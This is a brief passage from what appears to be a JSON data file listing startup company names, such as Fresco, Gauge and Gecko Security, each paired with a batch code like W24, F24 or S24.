Labs\n\nW24\n\nFresco\n\nF24\n\nFriday\n\nF24\n\nFume\n\nW24\n\nFurtherAI\n\nW24\n\nFutureClinic\n\nF24\n\nGait\n\nF24\n\nGalini\n\nF24\n\nGander\n\nF24\n\nGauge\n\nS24\n\nGecko Security\n\nF24\n\nGeneral Ana" } ], "notes": [] }